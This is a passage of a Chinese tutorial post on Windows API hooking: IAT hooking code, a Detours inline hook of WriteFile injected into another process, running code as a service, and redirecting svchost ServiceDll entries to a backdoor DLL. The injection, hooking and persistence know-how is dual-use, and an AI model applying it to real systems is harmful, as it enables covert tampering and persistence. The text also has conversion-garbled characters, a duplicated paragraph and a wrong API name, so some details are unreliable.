            //printf("function name:%-25s,  ", pszFuncName);  
            //取得函數地址  
            PDWORD lpAddr = (DWORD*)((BYTE*)hModCaller + pImportDesc->FirstThunk) + n; //從第一個函數的地址,之後每次+4字節  
            //printf("addrss:%X\n", lpAddr);  
            //在這裏是比較的函數地址  
            if (*lpAddr == (DWORD)pfnCurrent)  //找到iat中的函數地址  
            {                                 
                DWORD* lpNewProc = (DWORD*)pfnNewFunc;  
                MEMORY_BASIC_INFORMATION mbi;  
                DWORD dwOldProtect;  
                //修改內存頁的保護屬性  
                ::VirtualQuery(lpAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION));  
                ::VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect);  
                ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &lpNewProc, sizeof(DWORD), NULL);  
                ::VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, NULL);  
                return;  
            }             
            n++; //每次增長一個DWORD  
        }     
    }  
}  
  
  
void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod)  
{  
    //取得當前模塊句柄  
    HMODULE hModThis = NULL;  
    if (bExcludeAPIHookMod)  
    {  
        MEMORY_BASIC_INFORMATION mbi;  
        if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必須爲類的static函數  
        {  
            hModThis = (HMODULE)mbi.AllocationBase;  
        }  
    }  
    //取得本進程的模塊列表  
    HANDLE hModuleSnap = INVALID_HANDLE_VALUE;   
    MODULEENTRY32 me32;  
    hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());  
    if (INVALID_HANDLE_VALUE == hModuleSnap)  
    {  
        return;  
    }  
    me32.dwSize = sizeof( MODULEENTRY32 );   
    if( !Module32First( hModuleSnap, &me32 ) )   
    {   
        return;  
    }  
    do   
    { //對每個模塊  
        if (me32.hModule != hModThis)  
        {  
            ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule);  
        }  
    } while( Module32Next( hModuleSnap, &me32 ) );   
  
  
    ::CloseHandle(hModuleSnap); //配對寫  
  
}  
  
//防止自動加載  
HMODULE WINAPI CAPIHOOK::LoadLibraryA(LPCTSTR lpFileName)  
{  
    HMODULE hModule = LoadLibraryA(lpFileName);  
    HookNewlyLoadedModule(hModule, 0); //這個函數中憶檢測hModule 了  
    return hModule;  
}  
HMODULE WINAPI CAPIHOOK::LoadLibraryW(LPCTSTR lpFileName)  
{  
    HMODULE hModule = LoadLibraryW(lpFileName);  
    HookNewlyLoadedModule(hModule, 0); //這個函數中憶檢測hModule 了  
    return hModule;  
}  
HMODULE WINAPI CAPIHOOK::LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags)  
{  
    HMODULE hModule = LoadLibraryExA(lpFileName, hFile, dwFlags);  
    HookNewlyLoadedModule(hModule, dwFlags); //這個函數中憶檢測hModule 了  
    return hModule;  
}  
HMODULE WINAPI CAPIHOOK::LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags)  
{  
    HMODULE hModule = LoadLibraryExW(lpFileName, hFile, dwFlags);  
    HookNewlyLoadedModule(hModule, dwFlags); //這個函數中憶檢測hModule 了  
    return hModule;  
}  

.h

#pragma once  
#include <Windows.h>  
  
class CAPIHOOK  
{  
public:  
    CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod = TRUE);  
    ~CAPIHOOK(void);  
  
  
private:  
    static void ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller);  
    static void ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod);  
    //防止程序運行期間動態加載模塊, 當一個新DLL被加載時調用  
    static void HookNewlyLoadedModule(HMODULE hModule,  DWORD dwFlags);  
  
  
    //跟蹤當前進程加載新的DLL  
    static HMODULE WINAPI LoadLibraryA(LPCTSTR lpFileName);  
    static HMODULE WINAPI LoadLibraryW(LPCTSTR lpFileName);  
    static HMODULE WINAPI LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags);  
    static HMODULE WINAPI LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags);  
    //防止程序運行期間動態調用API函數 對於請求已HOOK的API函數,返回用戶自定義的函數地址  
    static FARPROC WINAPI GetProcess(HMODULE hModule, PCSTR pszProcName);  
  
private: //定義成靜態的,會自動調用,從而實現自動HOOK  
    static CAPIHOOK sm_LoadLibraryA;  
    static CAPIHOOK sm_LoadLibraryW;  
    static CAPIHOOK sm_LoadLibraryExA;  
    static CAPIHOOK sm_LoadLibraryExW;  
    static CAPIHOOK sm_GetProcAddress;  
  
private:  
    static CAPIHOOK* sm_pHeader; //鉤子鏈表  
    CAPIHOOK* m_pNext;  
  
    //要鉤子的函數  
    PROC m_pfnOrig;  
    PROC m_pfnHook;  
  
    //要鉤子的函數所在的dll  
    LPSTR m_pszModName;  
    //要鉤子的函數名稱  
    LPSTR m_pszFuncName;  
};  

 

10. Detours - Inline Hook

Detours是一個在x86平臺上截獲任意Win32函數調用的工具庫。中斷代碼能夠在運行時動態加載。Detours使用一個無條件轉移指令來替換目 標函數的最初幾條指令,將控制流轉移到一個用戶提供的截獲函數。而目標函數中的一些指令被保存在一個被稱爲「trampoline」 (譯註:英文意爲蹦 牀,雜技)的函數中,在這裏我以爲翻譯成目標函數的部分克隆/拷貝比較貼切。這些指令包括目標函數中被替換的代碼以及一個從新跳轉到目標函數的無條件分 支。而截獲函數能夠替換目標函數,或者經過執行「trampoline」函數的時候將目標函數做爲子程序來調用的辦法來擴展功能。
Detours是執行時被插入的。內存中的目標函數的代碼不是在硬盤上被修改的,於是能夠在一個很好的粒度上使得截獲二進制函數的執行變得更容易。例如, 一個應用程序執行時加載的DLL中的函數過程能夠被插入一段截獲代碼(detoured),與此同時,這個DLL還能夠被其餘應用程序按正常狀況執行(譯 注:也就是按照不被截獲的方式執行,由於DLL二進制文件沒有被修改,因此發生截獲時不會影響其餘進程空間加載這個DLL)。不一樣於DLL的從新連接或者 靜態重定向,Detours庫中使用的這種中斷技術確保不會影響到應用程序中的方法或者系統代碼對目標函數的定位。
若是其餘人爲了調試或者在內部使用其餘系統檢測手段而試圖修改二進制代碼,Detours將是一個能夠廣泛使用的開發包。據我所知,Detours是第一 個能夠在任意平臺上將未修改的目標代碼做爲一個能夠經過「trampoline」調用的子程序來保留的開發包。而之前的系統在邏輯上預先將截獲代碼放到目 標代碼中,而不是將原始的目標代碼作爲一個普通的子程序來調用。咱們獨特的「trampoline」設計對於擴展示有的軟件的二進制代碼是相當重要的。
出於使用基本的函數截獲功能的目的,Detours一樣提供了編輯任何DLL導入表的功能,達到向存在的二進制代碼中添加任意數據節表的目的,向一個新進 程或者一個已經運行着的進程中注入一個DLL。一旦向一個進程注入了DLL,這個動態庫就能夠截獲任何Win32函數,不論它是在應用程序中或者在系統庫中

0x1: 基本原理

1. WIN32進程的內存管理

1. WINDOWS NT實現了虛擬存儲器,每一WIN32進程擁有4GB的虛存空間
2. 進程要執行的指令也放在虛存空間中 
3. 可使用QueryProtectEx函數把存放指令的頁面的權限更改成可讀可寫可執行,再改寫其內容,從而修改正在運行的程序 
4. 可使用VirtualAllocEx從一個進程爲另外一正運行的進程分配虛存,再使用 QueryProtectEx函數把頁面的權限更改成可讀可寫可執行,並把要執行的指令以二進制機器碼的形式寫入,從而爲一個正在運行的進程注入任意的代碼(此時的代碼只是寫入了,還未觸發執行)

2. 攔截WIN32 API的原理

Detours定義了三個概念

1. Target函數:要攔截的函數,一般爲Windows的API 
2. Trampoline函數:Target函數的部分複製品。由於Detours將會改寫Target函數,因此先把Target函數的前5個字節複製保存好,一方面仍然保存Target函數的過程調用語義,另外一方面便於之後的恢復。
3. Detour 函數:用來替代Target函數的函數。 
Detours在Target函數的開頭加入JMP Address_of_ Detour_ Function指令(共5個字節)把對Target函數 的調用引導到本身的Detour函數, 把Target函數的開頭的5個字節加上JMP Address_of_ Target _ Function+ 5共10個字節做爲Trampoline函數

Detour函數的調用過程

1. 目標函數:
目標函數的函數體(二進制)至少有5個字節以上。按照微軟的說明文檔Trampoline函數的函數體是拷貝前5個字節加一個無條件跳轉指令的話(若是沒 有特殊處理不可分割指令的話),那麼前5個字節必須是完整指令,也就是不能第5個字節和第6個字節是一條不可分割的指令,不然會形成Trampoline 函數執行錯誤,一條完整的指令被硬性分割開來,形成程序崩潰。對於第5字節和第6個字節是不可分割指令須要調整拷貝到雜技函數(Trampoline)的 字節個數,這個值能夠查看目標函數的彙編代碼獲得。此函數是目標函數的修改版本,不能在Detour函數中直接調用,須要經過對Trampoline函數 的調用來達到間接調用 

2. Trampoline函數:
此函數默認分配了32個字節,函數的內容就是拷貝的目標函數的前5個字節,加上一個JMP Address_of_ Target _ Function+5指令,共10個字節。
此函數僅供您的Detour函數調用,執行完前5個字節的指令後再絕對跳轉到目標函數的第6個字節繼續執行原功能函數 

3. Detour函數:
此函數是用戶須要的截獲API的一個模擬版本,調用方式,參數個數必須和目標函數相一致。如目標函數是__stdcall,則Detour函數聲明也必須 是__stdcall,參數個數和類型也必須相同,不然會形成程序崩潰。此函數在程序調用目標函數的第一條指令的時候就會被調用(無條件跳轉過來的)。
若是在此函數中想繼續調用目標函數,必須調用Trampoline函數(Trampoline函數在執行完目標函數的前5個字節的指令後會無條件跳轉到目標 函數的5個字節後繼續執行),不能再直接調用目標函數,不然將進入無窮遞歸(目標函數跳轉到Detour函數,Detour函數又跳轉到目標函數的遞歸, 由於目標函數在內存中的前5個字節已經被修改爲絕對跳轉)(無條件跳轉)。經過對Trampoline函數的調用後能夠獲取目標函數的執行結果,此特性對分析目標函數很是有用,並且能夠將目標函數的輸出結果進行修改後再傳回給應用程序
基於Detour封裝的Hook框架,省去了咱們處理call old function的麻煩

Detour提供了向運行中的應用程序注入Detour函數和在二進制文件基礎上注入Detour函數兩種方式。咱們接下來主要討論第二種工做方式。經過 Detours提供的開發包能夠在二進制EXE文件中添加一個名稱爲Detour的節表,以下圖所示,主要目的是實現PE加載器加載應用程序的時候會自 動加載您編寫的Detours DLL,在Detours Dll中的DLLMain中完成對目標函數的Detour(最終目的仍是Inline Hook)

Detour提供了向運行中的應用程序注入Detour函數和在二進制文件基礎上注入Detour函數兩種方式。咱們接下來主要討論第二種工做方式。經過 Detours提供的開發包能夠在二進制EXE文件中添加一個名稱爲Detour的節表,以下圖所示,主要目的是實現PE加載器加載應用程序的時候會自 動加載您編寫的Detours DLL,在Detours Dll中的DLLMain中完成對目標函數的Detour(最終目的仍是Inline Hook)

0x2: Detours提供的截獲API的相關接口

Detours的提供的API 接口能夠做爲一個共享DLL給外部程序調用,也能夠做爲一個靜態Lib連接到您的程序內部。
Trampoline函數能夠動態或者靜態的建立,若是目標函數自己是一個連接符號,使用靜態的trampoline函數將很是簡單。若是目標函數不能在連接時可見,那麼可使用動態trampoline函數

0x3: 基於Detours Hook Xenos.exe相關API

detours下載地址

http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx
http://pan.baidu.com/s/1eQEijtS

編譯Detours工程

打開VS20xx命令行工具,進入src目錄,x86命令行和x64命令行編譯出來的分別是32bit和64bit的detours lib
使用nmake(linux下是make)命令編譯生成靜態庫

在lib.x86目錄下的.lib文件是win32平臺下的靜態庫文件

在include目錄下的是Detours工程的頭文件

接下來要肯定咱們要攔截目標進程中的哪一個函數api,咱們這裏用IDA Pro查看一下Xenos.exe

咱們選擇WriteFile這個API做爲劫持目標

用於劫持的dll代碼,注意:須要保存爲.c文件,或者加上extern C,由於detours是使用C語言實現的,表示代碼使用C的規則進行編譯

// notepad_api_hijack_dll.c : 定義 DLL 應用程序的導出函數。
//

#include "stdafx.h"

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
// 引入detours頭文件
#include "detours.h"

//1.引入detours.lib靜態庫
#pragma comment(lib,"detours64.lib")
  
//2.定義函數指針
static BOOL(WINAPI *oldWriteFile)(
    _In_        HANDLE       hFile,
    _In_        LPCVOID      lpBuffer,
    _In_        DWORD        nNumberOfBytesToWrite,
    _Out_opt_   LPDWORD      lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
) = WriteFile;  
                                                       //3.定義新的函數替代目標函數,須要與目標函數的原型相同
BOOL WINAPI newWriteFile(
    _In_        HANDLE       hFile,
    _In_        LPCVOID      lpBuffer,
    _In_        DWORD        nNumberOfBytesToWrite,
    _Out_opt_   LPDWORD      lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
) { 
    int result = 0; 

    result = MessageBoxA(0, "是否容許寫該文件", "提示", 1);
    //printf("result = %d", result);
    if (result == 1) // 容許調用
    {
        oldWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); //調用舊的函數
    }
    else {
        // 不容許調用
    }
    return 0;
}

// 4.攔截
//開始攔截
_declspec(dllexport) void Hook()  // _declspec(dllexport)表示外部可調用,須要加上該關鍵字其它進程才能成功調用該函數
{
    DetourRestoreAfterWith();//恢復原來狀態(重置)
    DetourTransactionBegin();//攔截開始
    DetourUpdateThread(GetCurrentThread());//刷新當前線程(刷新生效)
                                           //這裏能夠連續屢次調用DetourAttach,代表HOOK多個函數

    DetourAttach((void **)&oldWriteFile, newWriteFile);//實現函數攔截

    DetourTransactionCommit();//攔截生效
}


//取消攔截
_declspec(dllexport) void UnHook()
{
    DetourTransactionBegin();//攔截開始
    DetourUpdateThread(GetCurrentThread());//刷新當前線程
                                           //這裏能夠連續屢次調用DetourDetach,代表撤銷多個函數HOOK
    DetourDetach((void **)&oldWriteFile, newWriteFile); //撤銷攔截函數
    DetourTransactionCommit();//攔截生效
}

// 劫持別人的程序:經過DLL注入,並調用Hook函數實現劫持。
// 劫持系統:經過DLL注入系統程序(如winlogon.exe)實現劫持系統函數。

_declspec(dllexport)  void main() {

    Hook(); // 攔截 
}

編譯獲得dll文件,打開dll注入工具,點擊add,選擇"notepad_api_hijack_dll.dll"

https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe

點擊Advanced,在Init routine中填寫動態庫(dll)中的函數的名稱,咱們這裏是main,點擊注入後,能夠在進程加載dll列表中看到已經注入成功

爲了觸發咱們的Hook動做,咱們隨便保存一個文件,能夠看到彈框了

這裏須要注意,32bit的dll不能注入64bit的進程,若是咱們須要對64bit的進程進行Hook注入,須要編譯出一份64bit的detours dll 

同時須要注意,MS-Detours只能攔截WIN32 API,對原生C++的API沒法攔截

0x4: Detours原理

Detours能夠完成對目標進程運行時的api的核心原理就是inline hook

JuMP <CustomHookFunction>
RETurn (back to program execution) 
 
1. First he copies his shellcode(hook function) to JMP array(一段新開闢出來的內存空間用於存放hook function shellcode):
memcpy(JMP, tempJMP, SIZE);

2. Then he copies the original assembly code bytes from the original address to his temporary storage "oldBytes" so that he can copy it back after his custom function is executed:
memcpy(oldBytes, pOrigMBAddress, SIZE);
將原始被Hook函數入口點附近的彙編代碼拷貝到一個"跳轉緩衝區"中,這段跳轉緩衝區是Detours維護的,它負責在被hook函數和hook shellcode之間進行轉發

3. Then he copies the address size he previously calculated to JMP array right after the jmp command :
memcpy(&JMP[1], &JMPSize, 4);
將shellcode的jmp跳轉指令拷貝到"跳轉緩衝區"最後

4. Finally his JMP[] array contains the shellcode required to call his function, e.g.
hook function完成邏輯後,須要跳轉回"跳轉緩衝區",在這裏要繼續執行原始被hook函數的一小段彙編,以完成inline hook
memcpy(pOrigMBAddress, JMP, SIZE);

在進行inline hook的時候,要特別注意多核CPU在hook replace過程當中的影響,由於多個線程有可能"同時"調用同一個函數地址,爲了解決這個問題,一個好的作法是在inline hook的過程當中,把當前進程的全部線程都掛起。經過CreateToolhelp32Snapshot和SuspendThread的配合,在完成inline hook後再恢復線程

Relevant Link:

http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html
http://blog.csdn.net/zhoujiaxq/article/details/18656951
https://www.microsoft.com/en-us/research/project/detours/
http://blog.csdn.net/linchaolong/article/details/4398755
https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours

11. 以服務形式執行DLL中指定函數/或直接指定EXE做爲啓動程序

通常來講,黑客利用漏洞植入Dll入侵時,會先經過rundll32.exe執行dllmain,dllmain裏會接收並判斷傳入的參數(例如-k,-i等),根據不一樣的參數執行例如service install,主惡意邏輯執行等

值得注意的是,惡意代碼執行附加代碼的另外一種方式是將它做爲服務安裝,服務同時也提供了另外一種在系統上維持持久化駐留的方式。windows操做系統支持多種服務類型,它們以獨特的方式執行

SC_HANDLE WINAPI CreateService(
  _In_      SC_HANDLE hSCManager,
  _In_      LPCTSTR   lpServiceName,
  _In_opt_  LPCTSTR   lpDisplayName,
  _In_      DWORD     dwDesiredAccess,
  _In_      DWORD     dwServiceType,
  _In_      DWORD     dwStartType,
  _In_      DWORD     dwErrorControl,
  _In_opt_  LPCTSTR   lpBinaryPathName,
  _In_opt_  LPCTSTR   lpLoadOrderGroup,
  _Out_opt_ LPDWORD   lpdwTagId,
  _In_opt_  LPCTSTR   lpDependencies,
  _In_opt_  LPCTSTR   lpServiceStartName,
  _In_opt_  LPCTSTR   lpPassword
);

dwServiceType
1. SERVICE_ADAPTER(0x00000004)
2. SERVICE_FILE_SYSTEM_DRIVER(0x00000002): File system driver service.
3. SERVICE_KERNEL_DRIVER(0x00000001): Driver service. 加載代碼到內核中執行
4. SERVICE_RECOGNIZER_DRIVER(0x00000008): Reserved.
5. SERVICE_WIN32_OWN_PROCESS(0x00000010): Service that runs in its own process. 惡意代碼有時也會使用,在一個exe中保存代碼。而且做爲一個獨立的進程運行
6. SERVICE_WIN32_SHARE_PROCESS(0x00000020): Service that shares a process with one or more other services. 惡意代碼最常使用的就是這個類型,這種類型將服務對應的代碼保存在一個DLL中,而且在一個共享的進程中組合多個不一樣的服務
7. SERVICE_USER_OWN_PROCESS(0x00000050): The service runs in its own process under the logged-on user account.
8. SERVICE_USER_SHARE_PROCESS(0x00000060)

dwStartType 
1. SERVICE_AUTO_START(0x00000002): A service started automatically by the service control manager during system startup.  
2. SERVICE_BOOT_START(0x00000000): A device driver started by the system loader. This value is valid only for driver services.
3. SERVICE_DEMAND_START(0x00000003): A service started by the service control manager when a process calls the StartService function.  
4. SERVICE_DISABLED(0x00000004): A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED.
5. SERVICE_SYSTEM_START(0x00000001)

關於本地系統上的服務信息被保存在註冊表中

1. services.msc,而後打開"remote procedure call"
2. C:\Windows\system32\svchost.exe -k rpcss: 這說明rpcss服務是依靠svchost調用"rpcss"參數來實現的,而參數的內容則是存放在系統註冊表中的 
3. regedit.exe,找到[HKEY_Local_Machine\System\CurrentControlSet\Services\rpcss]項。svchost進程經過讀取"rpcss"服務註冊表信息,就能啓動該服務了 
    1) 找到類型爲"reg_expand_sz"的鍵"imagepath",其鍵值爲"%SystemRoot%\system32\svchost.exe -k rpcss"
    2) 另外在"parameters"子項中有個名爲"servicedll"的鍵,其值爲"%SystemRoot%\system32\rpcss.dll",其中"rpcss.dll"就是rpcss服務要使用的動態連接庫文件

0x1: SERVICE_WIN32_OWN_PROCESS: 以獨立進程形式運行服務

At a minimum a service requires the following items:

1. A Main Entry point (like any application) 2. A Service Entry point 3. A Service Control Handler

SampleServiceMain.cpp

#include <Windows.h>
#include <tchar.h>

// need a SERVICE_STATUS structure that will be used to report the status of the service to the Windows Service Control Manager (SCM). SERVICE_STATUS g_ServiceStatus = {0}; // need a SERVICE_STATUS_HANDLE that is used to reference our service instance once it is registered with the SCM. SERVICE_STATUS_HANDLE g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv); VOID WINAPI ServiceCtrlHandler (DWORD); DWORD WINAPI ServiceWorkerThread (LPVOID lpParam); #define SERVICE_NAME _T("My Sample Service") int _tmain (int argc, TCHAR *argv[]) { OutputDebugString(_T("My Sample Service: Main: Entry")); SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; // call StartServiceCtrlDispatcher so the SCM can call your Service Entry point (ServiceMain above). if (StartServiceCtrlDispatcher (ServiceTable) == FALSE) { OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error")); return GetLastError (); } OutputDebugString(_T("My Sample Service: Main: Exit")); return 0; } VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL; OutputDebugString(_T("My Sample Service: ServiceMain: Entry")); //Register the service control handler which will handle Service Stop, Pause, Continue, Shutdown, etc control commands. These are registered via the dwControlsAccepted field of the SERVICE_STATUS structure as a bit mask. g_StatusHandle = RegisterServiceCtrlHandler (SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error")); goto EXIT; } // Tell the service controller we are starting // Set Service Status to SERVICE_PENDING then to SERVICE_RUNNING. Set status to SERVICE_STOPPED on any errors and on exit. Always set SERVICE_STATUS.dwControlsAccepted to 0 when setting status to SERVICE_STOPPED or SERVICE_PENDING. ZeroMemory (&g_ServiceStatus, sizeof (g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } /* * Perform tasks neccesary to start the service here */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations")); // Create stop event to wait on later. g_ServiceStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL); if (g_ServiceStopEvent == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error")); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } goto EXIT; } // Tell the service controller we are started g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } // Start the thread that will perform the main task of the service // Perform start up tasks. Like creating threads/events/mutex/IPCs/etc. 這個dll服務是以線程的形式運行的 HANDLE hThread = CreateThread (NULL, 0, ServiceWorkerThread, NULL, 0, NULL); OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete")); // Wait until our worker thread exits effectively signaling that the service needs to stop  WaitForSingleObject (hThread, INFINITE); OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled")); /* * Perform any cleanup tasks */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations")); CloseHandle (g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } EXIT: OutputDebugString(_T("My Sample Service: ServiceMain: Exit")); return; } /* The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM. 咱們在GUI界面上點擊啓動、中止的action處理須要ServiceCtrlHandler函數回調來處理 */ VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry")); switch (CtrlCode) { /* here have only implemented and supported the SERVICE_CONTROL_STOP request. we can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others supported by the Handler or HandlerEx function that can be registered with the RegisterServiceCtrlHandler(Ex) function. */ case SERVICE_CONTROL_STOP : OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request")); if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; /* * Perform tasks neccesary to stop the service here */ g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error")); } // This will signal the worker thread to start shutting down SetEvent (g_ServiceStopEvent); break; default: break; } OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit")); } // This sample Service Worker Thread does nothing but sleep and check to see if the service has received a control to stop. // Once a stop control has been received the Service Control Handler sets the g_ServiceStopEvent event. The Service Worker Thread breaks and exits. This signals the Service Main routine to return and effectively stop the service. DWORD WINAPI ServiceWorkerThread (LPVOID lpParam) { OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry")); // Periodically check if the service has been requested to stop while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) { /* * Perform main service function here */ // Simulate some work by sleeping Sleep(3000); } OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit")); return ERROR_SUCCESS; }

這裏有幾點要重點理解

1. 服務程序通常寫成控制檯應用程序,main函數爲入口函數(若是是dll就是dllMain函數)
2. main函數的參數在CreateService函數中指定(例若有些惡意軟件在植入時採起無參數形式,而在註冊服務時加入了額外的參數,以此來區分入侵植入和服務自動啓動而走不一樣的邏輯)
3. 當SCM啓動一個服務程序時,SCM等待服務程序調用StartServiceCtrlDispatcher函數,若是服務進程沒有及時調用該函數,則會致使啓動服務失敗,因此咱們要註冊成服務的exe或者dll裏我麼須要本身實現StartServiceCtrlDispatcher的調用邏輯
4. 在分析惡意代碼的時候,咱們會遇到這種狀況,exe/dll的main邏輯裏很簡單,只有聲明一個ServiceStartTable服務結構體,設置成員變量,而後就是調用StartServiceCtrlDispatcherA啓動真正的邏輯函數

Installing the Service

sc create "My Sample Service" binPath=C:\Users\Administrator\Downloads\SampleService\SampleService\Release\SampleService.exe

註冊表鍵值

Uninstalling the Service

sc delete "My Sample Service" 

0x2: SERVICE_WIN32_SHARE_PROCESS: 以DLL形式在共享的svchost.exe中運行服務

svchost.exe是一個屬於微軟Windows操做系統的系統程序,微軟官方對它的解釋是:Svchost.exe 是從動態連接庫 (DLL) 中運行的服務的通用主機進程名稱。這個程序對系統的正常運行是很是重要,並且是不能被結束的

進程文件: svchost or svchost.exe
進程名稱: Generic Host Process for Win32 Services 進程類別: 系統進程 位置: C:\windows\system32\svchost.exe 英文描述:svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated 

svchost.exe是一類通用的進程名稱。它是和運行動態連接庫(DLLs)的Windows系統服務相關的。在機器啓動的時候,svchost.exe檢查註冊表中的服務,運行並載入它們。常常會有多個svchost.exe同時運行的狀況,每個都表示該計算機上運行的一類基本服

SERVICE_WIN32_SHARE_PROCESS和獨立進程方式本質上沒有區別,惟一區別在於imagepath是一個dll路徑,同時它也支持傳入對應的參數,可是咱們在進程列表裏看不到這個dll,而只能看到svchost.exe進程

Relevant Link:

http://baike.baidu.com/item/svchost.exe/552746 https://msdn.microsoft.com/en-us/library/ms683500(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus http://www.devx.com/cplus/Article/9857/0/page/2

 

12. 劫持現有Service的啓動DLL

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]中存放着svchost啓動的組和組內的各個服務,若是要使用svchost啓動某個服務,則該服務名就會出如今該目錄下

1. 添加一個新的組,在組裏添加服務名
2. 在現有組裏添加服務名
3. 直接使用現有組裏的一個服務名,可是本機沒有安裝的服務: PortLess BackDoor使用的該方法
4. 修改現有組裏的現有服務,把它的ServiceDll指向本身的DLL後門

Relevant Link:

http://it.rising.com.cn/safe/protect/2010-01-07/6174_2.html

 

13. Reflective DLL injection In Memory - 從內存中的dll binary加載/注入dll技術

